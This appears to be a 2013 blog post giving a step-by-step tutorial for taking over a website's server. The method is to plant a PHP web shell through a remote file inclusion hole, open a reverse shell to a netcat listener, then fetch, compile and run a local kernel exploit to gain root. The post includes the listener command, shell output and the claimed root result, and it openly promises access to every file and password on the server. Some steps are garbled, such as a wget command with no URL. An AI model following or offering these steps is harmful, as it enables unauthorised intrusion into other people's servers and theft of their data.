Friday, 12 July 2013

How to root a server

Today i am going to tell you very important thing that how hackers root a server of website. If you dont know what is server then i will tell you. Server is a place where all the data of a website is placed. for example if we have website and we sucessfully rooted the server of then we will get all the data placed on the server all the files all passwords everything. 

so lets begin the rooting...

What we need?
-RFI Vulnerable Script
-PHP Shell

First of all, we need to get a shell on a site.
For this tutorial i will be using MulCi Shell.

So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.

Now, go to the 'Back Connect' tab and insert the following settings:

1- Your IP Address.
2-The port you forwarded.

Now, go on CMD and type in:cd 'Path To Your Netcat.exe' and then you need to make netcat listen to the port you forwarded.To do this, type:nc -l -n -v -p port

It looked like this for me:

Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\FeAR>cd C:\


C:\WINDOWS>nc -l -n -v -p 4444
listening on [any] 4444 ...

Now, when you have netcat listening to the port you forwarded, click 'Connect'.

When your connected, type 'whoami'.You shouldnt have root.

Now, to find an exploit to root the box, you need to know whats the kernel version.To do this, just type 'uname -a'.

It should look something like this:

Linux 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 08:14:05 EDT 2008 i686

Now, we go on and we will look for '2.6.17'.


Now, we type 'wget on the netcat window.


So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).

To do this we type 'gcc 5092 -o exploit'.

gcc 5092 -o exploit

5092- After the url path.
exploit- Output name.

Now you can execute your exploit by typing './exploit'

Wait for the exploit to finish running and type root again.

It should output in something like this:

uid=0(root) gid=0(root) groups=500(apache)

This means you have successfully rooted the box :).

There are more ways to do this, this is the way I usually do it.



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